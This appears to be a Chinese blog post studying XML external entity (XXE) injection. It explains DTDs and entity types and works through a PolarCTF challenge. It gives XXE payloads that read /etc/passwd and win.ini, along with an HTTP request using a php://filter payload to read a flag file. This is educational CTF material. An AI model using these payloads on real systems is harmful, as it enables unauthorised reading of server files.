XXE漏洞学习

XXE漏洞学习

XXE的定义

XXE就是XML外部实体注入,XML中有5种实体,如果网站允许使用外部实体,通过恶意构造内容就有可能实现任意文件读取、内网探测、命令执行等。

简单了解XML

XML指可扩展标记语言(ExtensibleMarkupLanguage),是一种与HTML类似的纯文本的标记语言,
它由三个部分组成,分别是:文档类型定义(DocumentType Definition,DTD),即XML的布局语言;可扩展的样式语言(Extensible StyleLanguage,XSL),即XML的样式表语言;以及可扩展链接语言(ExtensibleLinkLanguage,XLL)

XML格式规范是由DTD(文档类型定义)来决定的>

如下:

1
2
3
4
5
6
7
<?xml version="1.0"?>//这一行是 XML 文档定义
<!DOCTYPE message [
<!ELEMENT message (receiver ,sender ,header ,msg)>
<!ELEMENT receiver (#PCDATA)>
<!ELEMENT sender (#PCDATA)>
<!ELEMENT header (#PCDATA)>
<!ELEMENT msg (#PCDATA)>

这个DTD就定义了XML的根元素是message,而后有一些子元素receive、sender等,规定了格式的XML就需要写成如下这样:

1
2
3
4
5
6
<message>
<receiver>Yourself<receiver>
<send>People<send>
<header>balabala</header>
<msg>xxe</msg>
</message>

除了能在DTD中定义元素外还能在其中定义实体,允许外部实体可能会存在XXE注入,而参数实体又是Blind OOB XXE的必要条件。

先解释一下什么是外部实体和内部实体。

把实体按照使用方式分类,可以分为内部声明实体外部引用实体

内部实体:<!ENTITY实体名称"实体的值">

1
2
3
4
5
6
7
<?xml version = "1.o" encoding = "utf-8"?>

<!DOCTYPE test [
<!ENTITY writer "xxx">
<!ENTITY copyright "Copyright xxx.com">

<test>&writer;@right;</test>

外部实体:

<!ENTITY实体名称SYSTEM"URI/URL">或者<!ENTITY实体名称PUBLIC "public_ID" "URI">

1
2
3
4
5
6
<?xml version = "1.o" éencoding = "utf-8"?>
2<!DOCTYPE test [
3<!ENTITY file SYSTEMM "file:///flag">
4<!ENTITY copyright SYSTEM "http://www.xXx.com/xxx.dtd">
5[>
6<author>&file;@right;</author>

以下是一个内部实体的例子,

1
2
3
4
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe "test" >]>

这里是any接受任何元素,而且定义了一个XML的内部实体,而实体可以通过&在XML中引用

如下:这对上面定义的内部实体的xxe进行了引用,解析的时候&xxe;就会被替换成test

1
2
3
4
<creds>
<user>&xxe;</user>
<pass>mypass</pass>
</creds>

继续深入

其实实体也能从外部的DTD文件中来引用,也就是外部实体。

如下代码:

1
2
3
4
5
6
7
8
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///c:/test.dtd" >]>
<creds>
<user>&xxe;</user>
<pass>mypass</pass>
</creds>

如果这样配置引用的话,对网站资源所做的任何更改都会在文档中自动更新,就很方便,但是这样的安全风险就很大了。

在XML中除了把实体分成外部和内部实体,还能分成参数和通用实体。

通用实体

通用实体:<!ENTITY实体名称“实体内容">,而想要引用一般实体,用&实体名称(引用区域不限)

代码:

1
2
3
4
5
6
7
<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE updateProfile [<!ENTITY file SYSTEM "file:///c:/windows/win.ini"> ]>
<updateProfile>
<firstname>Joe</firstname>
<lastname>&file;</lastname>
...
</updateProfile>

参数实体

1.使用%(空格)name 在DTD中定义,且只能在DTD中使用%name;

2.在DTD中参数实体的声明才能引用其他实体

3.参数实体可以外部引用

1
2
3
<!ENTITY % an-element "<!ELEMENT mytag (subtag)>"> 
<!ENTITY % remote-dtd SYSTEM "http://somewhere.example.org/remote.dtd">
%an-element; %remote-dtd;

0x01 例题

题目地址:PolarCTF:XXE

0x02 漏洞挖掘

访问phpinfo页面,可以看到libxml版本是2.8.0,默认是解析外部实体的

img

丢御剑扫一下还有什么目录

img

这里访问dom.php

image-20251017213859748

这个 PHP 警告的意思是:DOMDocument::loadXML() 函数接收到的是一个空字符串,也就是说 PHP 没有拿到任何可以解析的 XML 内容。

0x03 漏洞复现

那么我们可以通过这个dom来进行注入

一般我们用XML外部实体读取可以这样写XML:

1
2
3
4
5
6
7
8
9
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<user>

<name>&xxe;</name>

</user>

但是当存在无回显想要读取敏感文件的时候,就需要用到file协议并且数据外带了。也就是Bind OOB XXE

通过上面的了解,我们写一段XML

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
GET /dom.php HTTP/1.1
Host: 37550f88-4046-492a-94e8-d3e6e34e774a.www.polarctf.com:8090
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 230

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64encode/resource=file:///var/www/html/flagggg.php" >]>
<user>

<name>&xxe;</name>

</user>

references

Vulhub-XXE&Bind OOB XXE 复现(超级详细) - Erichas - 博客园


XXE漏洞学习
http://example.com/2025/10/17/XXE漏洞学习/
作者
everythingis-ok
发布于
2025年10月17日
许可协议